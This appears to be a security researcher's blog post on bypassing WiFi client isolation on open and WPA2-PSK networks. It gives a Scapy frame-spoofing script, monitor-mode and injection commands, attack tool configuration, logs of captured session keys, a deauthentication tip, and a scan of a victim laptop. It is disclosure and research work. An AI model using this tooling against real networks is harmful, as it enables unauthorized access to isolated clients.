Background<\/h2>\n\n\n\n
Enforcing WiFi client isolation relies on the assumption that packets are being forwarded through the access point. The great thing about WiFi networks is it\u2019s all just radio frequencies floating around in the air. With a WiFi adapter in monitor mode, we can capture 802.11 frames and also transmit frames into the air. To communicate directly with another client, we don\u2019t really need the access point to facilitate that communication. There is no physical mechanism by which the access point can control how we wobble the air.<\/p>\n\n\n\n
For example, here is a packet capture of a WiFi interface in monitor mode looking at traffic for an open WiFi network:<\/p>\n\n\n\n We\u2019re not connected to the WiFi network, but because this is all radio frequencies floating about, we can see the traffic just fine. Not only that, we can also send packets into the air that get picked up by other WiFi clients.<\/p>\n\n\n\n On an infrastructure mode WiFi network without client isolation, communication looks like this:<\/p>\n\n\n\n With client isolation enabled, the access point blocks WiFi clients from communicating with each other like this:<\/p>\n\n\n\n To bypass client isolation the objective is to establish direct communication between us (the attacker) and a victim client on the network by manually transmitting frames and sniffing the victims response packets. This circumvents the access point and any client isolation protections it may be implementing.<\/p>\n\n\n\n The attack looks like this:<\/p>\n\n\n\n The Distribution System (DS) bits in a WiFi frame indicate whether the frame is being transmitted to or from the distribution system (network switch, usually the WiFi AP). These bits normally prevent client-to-client ad-hoc communication on an infra-network. However, we can craft frames with Here\u2019s what that looks like in Wireshark. You can start inspecting this stuff yourself by configuring an interface in monitor mode and capturing packets:<\/p>\n\n\n\n When the attacker sends a frame for the victim client they use FCField: From-DS (DS to Client)<\/em><\/p>\n\n\n\n When the victim client replies to the frame they use FCField: To-DS (Client to DS)<\/em><\/p>\n\n\n\n If the attacker sends frames with Here is what an attacker crafted packet looks like, a simple Python script using Scapy to send an ARP packet from the DS:<\/p>\n\n\n\n Scapy prints the packet information:<\/p>\n\n\n\n The transmitted ARP packet can be seen in Wireshark with the Frame Control Field showing I\u2019ve developed a Python-based tool that bypasses WiFi client isolation by intercepting and manipulating WiFi frames. The tool creates a TAP network interface, processes frames in and out of the attacker\u2019s PC and injects the modified frames into the air via a monitor mode WiFi adapter. By crafting frames with the appropriate DS bits and addressing, the tool bypasses client isolation. You can run this tool and it\u2019ll give you a new network interface in Linux that\u2019s on the WiFi network which sidesteps any of the client isolation protections.<\/p>\n\n\n\n I\u2019ve tested against hostapd (using the To get the tool setup, the following is required:<\/p>\n\n\n\n If you\u2019d like to test this yourself, you can use the following hostapd config:<\/p>\n\n\n\n Most WiFi Access Points and vendors should support client isolation, too.<\/p>\n\n\n\n The attack tooling looks like this: <\/a><\/p>\n\n\n\n To use the WiFi client isolation bypass tool, modify the Run the WiFi bridge script ( The packets can be seen passing through the script:<\/p>\n\n\n\n This creates a TAP network interface that you can interact with in Linux, just like any other interface:<\/p>\n\n\n\n If we ping the victim, we can talk to them just fine and bypass the APs client isolation:<\/p>\n\n\n\n We can now attack Steve\u2019s laptop with whatever tooling we\u2019d like, below is the output of an NMAP scan showing Steve has a VNC Server running:<\/p>\n\n\n\n Attacking a WPA2-PSK network with client isolation is more complex, but still doable. Before we can dig into this we need to understand how WPA works.<\/p>\n\n\n\n Over the years, there have been improved security standards for protecting WiFi networks: from WEP to the current WPA3 standard. Various attacks against these has driven continuous improvement to fix weaknesses in the implementations.<\/p>\n\n\n\n This research project focused on support for WPA2-CCMP-PSK encrypted and Open (Unencrypted) networks. Support for WPA-TKIP-PSK encryption should be relatively straightforward to implement (send me a PR!). 802.1X\/EAP authentication modes and WPA3 support would be much more complex and likely not feasible.<\/p>\n\n\n\n There\u2019s a somewhat overwhelming number of WiFi network security configurations possible, but this article focuses only on WPA2-PSK using CCMP.<\/p>\n\n\n\n For key management, WPA uses a process called the 4-way handshake to calculate and install encryption keys. The 4-way handshake uses EAPOL frames to transport the authentication messages between the client and AP.<\/p>\n\n\n\n To communicate with WiFi clients and conduct our attack to bypass client isolation, we need to know two keys:<\/p>\n\n\n\n Wireshark can decrypt traffic with a captured TK\/GTK. Under the IEEE 802.11 protocol settings, both keys can be added. All already captured and new packets are then automatically decrypted.<\/p>\n\n\n\n To derive these keys we must first understand how the 4-way handshake works. As the name suggests, the handshake process involves 4 messages being transmitted between a client and the AP. EAPOL frames are sent unencrypted, so an attacker can intercept these with a monitor mode WiFi adapter.<\/p>\n\n\n\n At a high-level, the goal of the 4-way handshake is to:<\/p>\n\n\n\n Message 1: AP \u2192 Client<\/em><\/strong><\/p>\n\n\n\n Message 2: Client \u2192 AP<\/em><\/strong><\/p>\n\n\n\n Message 3: AP \u2192 Client<\/em><\/strong><\/p>\n\n\n\n Message 4: Client \u2192 AP<\/em><\/strong><\/p>\n\n\n\n Phew, that\u2019s a lot of keys being derived, let\u2019s break down the hierarchy and show how each key is calculated:<\/p>\n\n\n\n Pairwise-Master-Key (PMK) = PBKDF2(HMAC-SHA1, PSK, SSID, 4096, 256)<\/strong><\/p>\n\n\n\n Calculating the PMK requires the following:<\/p>\n\n\n\n Pairwise-Transient-Key (PTK) = PRF-512(PMK, ANonce, SNonce, AP MAC, Client MAC)<\/strong><\/p>\n\n\n\n Calculating the PTK requires the following:<\/p>\n\n\n\n The resulting PTK contains the following keys:<\/p>\n\n\n\n The structure of the PTK is:<\/p>\n\n\n\n We need to obtain the TK for the victim client we want to communicate with, as well as the GTK so we can send broadcast traffic.<\/p>\n\n\n\n You can test with a WPA2-CCMP-PSK network with hostapd and the following configuration:<\/p>\n\n\n\n The attack flow looks like this: <\/a><\/p>\n\n\n\n The attacker\u2019s tooling looks like this: <\/a> <\/a><\/p>\n\n\n\n To use the WiFi client isolation bypass tool, modify the Run the WPA key capture script ( Note: Aircrack can be used to deauthenticate a client to force them to re-establish their keys, which the attacker can then sniff. This means you can start communicating with any client right away, so long as you deauthenticate them first.<\/em><\/p>\n\n\n\n When a 4-way handshake is captured, the TK and GTK are calculated and saved:<\/p>\n\n\n\n Run the WiFi bridge script ( The packets can be seen passing through the WiFi bridge script:<\/p>\n\n\n\n ICMP packets sent to the victim are replied to, demonstrating connectivity:<\/p>\n\n\n\n![\"\"\/](\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/wireless-open-network.png\")
<\/a><\/figure>\n\n\n\n<\/a><\/figure>\n\n\n\n<\/a><\/figure>\n\n\n\nBypassing Client Isolation<\/h2>\n\n\n\n
<\/a><\/figure>\n\n\n\nDistribution System<\/h2>\n\n\n\n
From-DS=1<\/code> to bypass this restriction. Essentially, the attacker\u2019s frames pretend to be transmitted from the DS, so the client goes \u201coh this frame is from coming from the access point \u2013 cool\u201d.<\/p>\n\n\n\n<\/a><\/figure>\n\n\n\naddr1 (Receiver Address): Who should receive this WiFi frame? The victim client\naddr2 (Transmitter Address): Who transmitted this WiFi frame? The DS (But not really, it was the attacker)\naddr3 (Source Address): Who originally sent this data? Us, the attacker.\n<\/code><\/pre>\n\n\n\naddr1 (Receiver Address): Who should receive this WiFi frame? The DS (But not really, the attacker will sniff it)\naddr2 (Transmitter Address): Who transmitted this WiFi frame? The victim client\naddr3 (Destination Address): Who is the final destination? Us. The attacker\n<\/code><\/pre>\n\n\n\nTo-DS=1<\/code>, they\u2019re going to be ignored by the client. Instead, frames need to appear to come from the DS, with a return address of the attacker\u2019s MAC address. By combining a TAP network interface, Scapy for manipulating packets and a monitor mode WiFi adapter, we have all the components needed to communicate directly with other clients and bypass client isolation.<\/p>\n\n\n\nfrom scapy.all import *\n\narp = (\n LLC()\/\n SNAP()\/\n ARP(\n op='is-at',\n psrc='10.1.1.11',\n pdst='10.1.1.10',\n hwsrc='AA:BB:CC:DD:EE:FF'\n )\n)\n\npacket = RadioTap()\/Dot11(\n FCfield=\"from-DS\",\n type=2,\n subtype=32, \n addr1=\"11:22:33:44:55:66\", # Receiver address\n addr2=\"DA:02:2C:9F:DA:ED\", # Transmitter address (AP BSSID)\n addr3=\"AA:BB:CC:DD:EE:FF\" # Source address\n)\/arp\n\npacket.show()\nsendp(packet, iface=\"wlan0mon\")\n<\/code><\/pre>\n\n\n\n###[ RadioTap ]###\n version = 0\n pad = 0\n len = None\n present = None\n notdecoded= b''\n###[ 802.11 ]###\n subtype = 32\n type = Data\n proto = 0\n FCfield = from-DS\n ID = 0\n addr1 = 11:22:33:44:55:66 (RA=DA)\n addr2 = DA:02:2C:9F:DA:ED (TA=BSSID)\n addr3 = AA:BB:CC:DD:EE:FF (SA)\n SC = 0\n###[ LLC ]###\n dsap = 0xaa\n ssap = 0xaa\n ctrl = 3\n###[ SNAP ]###\n OUI = Officially Xerox, but 0:0:0:0:0:0 is more common (00:00:00)\n code = ARP\n###[ ARP ]###\n hwtype = Ethernet (10Mb)\n ptype = IPv4\n hwlen = None\n plen = None\n op = is-at\n hwsrc = AA:BB:CC:DD:EE:FF\n psrc = 10.1.1.11\n hwdst = 00:00:00:00:00:00\n pdst = 10.1.1.10\n<\/code><\/pre>\n\n\n\nFrom-DS=1<\/code>: <\/a><\/p>\n\n\n\nLet\u2019s Get Attacking<\/h2>\n\n\n\n
ap_isolate=1<\/code> configuration option) and a Unifi network (using the Host Isolation feature). There could be quirks and gotchas with other vendor\u2019s implementations, so feel free to let us know<\/a> what works in your environments.<\/p>\n\n\n\n\n
$ sudo apt install aircrack-ng python3 python3-scapy python3-pyaes python3-pycryptodome<\/code><\/li>\n\n\n\n $ sudo airmon-ng PHY Interface Driver Chipset phy0 wlx00c0ca76c625 rt2800usb Ralink Technology, Corp. RT3572 <\/code>Setup the WiFi adapter into monitor mode: $ sudo airmon-ng check kill $ sudo ip link set wlx00c0ca76c625 down $ sudo iw dev wlx00c0ca76c625 set type monitor $ sudo ip link set wlx00c0ca76c625 up <\/code>Use Aircrack to test packet injection is working: $ sudo aireplay-ng --test wlx00c0ca76c625 -a DA:02:2C:9F:DA:ED 11:02:57 Waiting for beacon frame (BSSID: DA:02:2C:9F:DA:ED) on channel 9 11:02:57 Trying broadcast probe requests... 11:02:57 Injection is working! 11:02:58 Found 1 AP 11:02:58 Trying directed probe requests... 11:02:58 DA:02:2C:9F:DA:ED - channel: 9 - 'OP' 11:02:59 Ping (min\/avg\/max): 0.432ms\/9.292ms\/53.869ms Power: -11.93 11:02:59 30\/30: 100%<\/code><\/li>\n\n\n\n$ git clone https:\/\/github.com\/Pulse-Security\/wifi-client-isolation-bypass.git<\/code><\/li>\n<\/ul>\n\n\n\nAttacking an Open (Unencrypted) Network<\/h2>\n\n\n\n
interface=wlp4s0\ndriver=nl802011\nbssid=DA:02:2C:9F:DA:ED\nssid=OPN\nchannel=9\nap_isolate=1 #hostapd client isolation mode enabled\n<\/code><\/pre>\n\n\n\nconfig.ini<\/code> file according to the target WiFi network configuration. For open networks, comment out the CCMP_ENCRYPTION<\/code> value in the WPA_ENCRYPTION<\/code> section, and fill out the remaining fields.<\/p>\n\n\n\n[TARGET_NETWORK]\nSSID=OPN\nBSSID=DA:02:2C:9F:DA:ED\nCHANNEL=9\n\n[WPA_ENCRYPTION]\n# Enable WPA2-CCMP encryption\n# Leave commented out for Open (unencrypted) networks\n#CCMP_ENCRYPTION=\n# Pre-Shared Key (PSK), necessary for key calculation if CCMP_ENCRYPTION=enable\n#PSK=\n...\n<\/code><\/pre>\n\n\n\nwifi-bridge.py<\/code>) to start bridging packets between the attacker\u2019s PC and victim client:<\/p>\n\n\n\n$ sudo python3 wifi-bridge.py \n[*] Checking WiFi interface: wlx00c0ca76c625\n[+] Interface wlx00c0ca76c625 is already in monitor mode\n[+] Interface wlx00c0ca76c625 is already on channel 9\n[+] Open WiFi mode\n[+] TAP interface tap0 created with MAC 92:37:84:31:58:75\n[+] Starting bidirectional bridge...\n[+] TAP interface: tap0\n[+] Wireless interface: wlx00c0ca76c625\n[+] Debug mode: Disabled\n\nPress CTRL+C to stop\n[+] TAP reader thread started\n[+] Starting WiFi sniffing on wlx00c0ca76c625\n<\/code><\/pre>\n\n\n\n[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff\n[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff\n[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff\n[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff\n[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff\n[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff\n[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff\n[<] WiFi -> TAP (Unicast|Unencrypted): f2:d7:12:9a:0b:b5 -> 92:37:84:31:58:75 (ARP)\n[>] TAP -> WiFi (Unicast|Unencrypted): 92:37:84:31:58:75 -> f2:d7:12:9a:0b:b5\n[>] TAP -> WiFi (Unicast|Unencrypted): 92:37:84:31:58:75 -> f2:d7:12:9a:0b:b5\n[>] TAP -> WiFi (Unicast|Unencrypted): 92:37:84:31:58:75 -> f2:d7:12:9a:0b:b5\n[<] WiFi -> TAP (Unicast|Unencrypted): f2:d7:12:9a:0b:b5 -> 92:37:84:31:58:75 (IP)\n[<] WiFi -> TAP (Unicast|Unencrypted): f2:d7:12:9a:0b:b5 -> 92:37:84:31:58:75 (IP)\n[<] WiFi -> TAP (Unicast|Unencrypted): f2:d7:12:9a:0b:b5 -> 92:37:84:31:58:75 (IP)\n<\/code><\/pre>\n\n\n\n$ ip a show tap0\n5: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000\n link\/ether 92:37:84:31:58:75 brd ff:ff:ff:ff:ff:ff\n inet 10.1.1.66\/24 scope global tap0\n valid_lft forever preferred_lft forever\n inet6 fe80::9037:84ff:fe31:5875\/64 scope link \n valid_lft forever preferred_lft forever\n<\/code><\/pre>\n\n\n\n$ ping 10.1.1.40\nPING 10.1.1.40 (10.1.1.40) 56(84) bytes of data.\n64 bytes from 10.1.1.40: icmp_seq=1 ttl=64 time=1173 ms\n64 bytes from 10.1.1.40: icmp_seq=4 ttl=64 time=33.8 ms\n64 bytes from 10.1.1.40: icmp_seq=5 ttl=64 time=34.1 ms\n<\/code><\/pre>\n\n\n\n$ nmap -Pn --top-ports 100 10.1.1.10\nStarting Nmap 7.93 ( https:\/\/nmap.org ) at 2025-10-09 13:46 NZDT\nNmap scan report for 10.1.1.10\nHost is up (0.29s latency).\nNot shown: 94 filtered tcp ports (no-response)\nPORT STATE SERVICE\n135\/tcp open msrpc\n139\/tcp open netbios-ssn\n445\/tcp open microsoft-ds\n3389\/tcp open ms-wbt-server\n5800\/tcp open vnc-http\n5900\/tcp open vnc\n\nNmap done: 1 IP address (1 host up) scanned in 31.38 seconds\n<\/code><\/pre>\n\n\n\nAttacking a WPA2-PSK Network<\/h2>\n\n\n\n
Protected WiFi<\/h2>\n\n\n\n
WPA 4-Way Handshake<\/h2>\n\n\n\n
\n
<\/a><\/figure>\n\n\n\n\n
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| KCK (128-bits) | KEK (128-bits) | TK (128-bits) | MIC Tx (64-bits)| MIC Rx (64-bits) |<\/code><\/p>\n\n\n\ninterface=wlp4s0\ndriver=nl802011\nbssid=DA:02:2C:9F:DA:ED\nssid=CLSE\nchannel=9\nap_isolate=1 #hostapd client isolation mode enabled\nwpa_key_mgmt=WPA-PSK\nwpa_pairwise=CCMP\nwpa_passphrase=supercoolpassphrase\n<\/code><\/pre>\n\n\n\nconfig.ini<\/code> file according to the target WiFi network configuration. For WPA2 networks, fill out the WPA_ENCRYPTION<\/code> options and remaining fields.<\/p>\n\n\n\n[TARGET_NETWORK]\nSSID=CLSE\nBSSID=DA:02:2C:9F:DA:ED\nCHANNEL=9\n\n[WPA_ENCRYPTION]\n# Enable WPA2-CCMP encryption\n# Leave commented out for Open (unencrypted) networks\nCCMP_ENCRYPTION=enable\n# Pre-Shared Key (PSK), necessary for key calculation if CCMP_ENCRYPTION=enable\nPSK=supercoolpassphrase\n...\n<\/code><\/pre>\n\n\n\nwpa-key-capture.py<\/code>) to capture EAPOL packets containing the 4-way handshake:<\/p>\n\n\n\n$ sudo python3 wpa-key-capture.py \n[*] Checking WiFi interface: wlx00c0ca76c625\n[+] Interface wlx00c0ca76c625 is already in monitor mode\n[+] Interface wlx00c0ca76c625 is already on channel 9\n[*] Starting WiFi monitoring on wlx00c0ca76c625\n[*] Filtering for SSID: CLSE\n[*] Filtering for BSSID: da:02:2c:9f:da:ed\n[*] Starting packet capture... (Press Ctrl+C to stop)\n[+] Discovered network: CLSE (da:02:2c:9f:da:ed)\n<\/code><\/pre>\n\n\n\n[2025-08-28 14:51:14] Captured handshake for client MAC: 0c:c4:13:30:e7:a4\n[+] TK: 3c09f26acaa00e539b83105351f75618\n[+] GTK: dc3eb1929c836d60cc70f7f95cb736d9 (CLSE)\n[+] Key information saved to wifi_keys.json\n<\/code><\/pre>\n\n\n\nwifi-bridge.py<\/code>) in another terminal to start bridging packets between the attacker\u2019s PC and victim client:<\/p>\n\n\n\n$ sudo python3 wifi-bridge.py \n[*] Checking WiFi interface: wlx00c0ca76c625\n[+] Interface wlx00c0ca76c625 is already in monitor mode\n[+] Interface wlx00c0ca76c625 is already on channel 9\n[+] CCMP encryption enabled\n[+] GTK available for BSSID(s): 7a:ac:b9:27:c2:f8, da:02:2c:9f:da:ed\n[+] Client TKs available for: da:17:89:88:63:6e, 2a:26:0d:8d:69:d9, ca:30:b8:d2:40:95, 0c:c4:13:30:e7:a4\n[+] TAP interface tap0 created with MAC 92:37:84:31:58:75\n[+] Starting bidirectional bridge...\n[+] TAP interface: tap0\n[+] Wireless interface: wlx00c0ca76c625\n[+] Debug mode: Disabled\n\nPress CTRL+C to stop\n[+] TAP reader thread started\n[+] Starting WiFi sniffing on wlx00c0ca76c625\n<\/code><\/pre>\n\n\n\n[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94\n[<] WiFi -> TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -> 92:37:84:31:58:75 (IP)\n[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 01:00:5e:00:00:fb\n[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94\n[<] WiFi -> TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -> 92:37:84:31:58:75 (IP)\n[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94\n[<] WiFi -> TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -> 92:37:84:31:58:75 (IP)\n[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 33:33:00:00:00:fb\n[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94\n[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94\n[<] WiFi -> TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -> 92:37:84:31:58:75 (IP)\n[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94\n[<] WiFi -> TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -> 92:37:84:31:58:75 (IP)\n[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94\n[<] WiFi -> TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -> 92:37:84:31:58:75 (IP)\n[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 33:33:00:00:00:02\n<\/code><\/pre>\n\n\n\n$ ping 10.1.1.6\nPING 10.1.1.6 (10.1.1.6) 56(84) bytes of data.\n64 bytes from 10.1.1.6: icmp_seq=1 ttl=128 time=116 ms\n64 bytes from 10.1.1.6: icmp_seq=3 ttl=128 time=32.4 ms\n64 bytes from 10.1.1.6: icmp_seq=4 ttl=128 time=43.5 ms\n64 bytes from 10.1.1.6: icmp_seq=5 ttl=128 time=38.3 ms\n<\/code><\/pre>\n\n\n\n
![<\/a>](\"https:\/\/pulsesecurity.co.nz\/assets\/images\/releases\/2025-10-14-bypassing-wifi-client-isolation\/wpa2-network-attack-tooling-flow-sending.png\"){kind=link}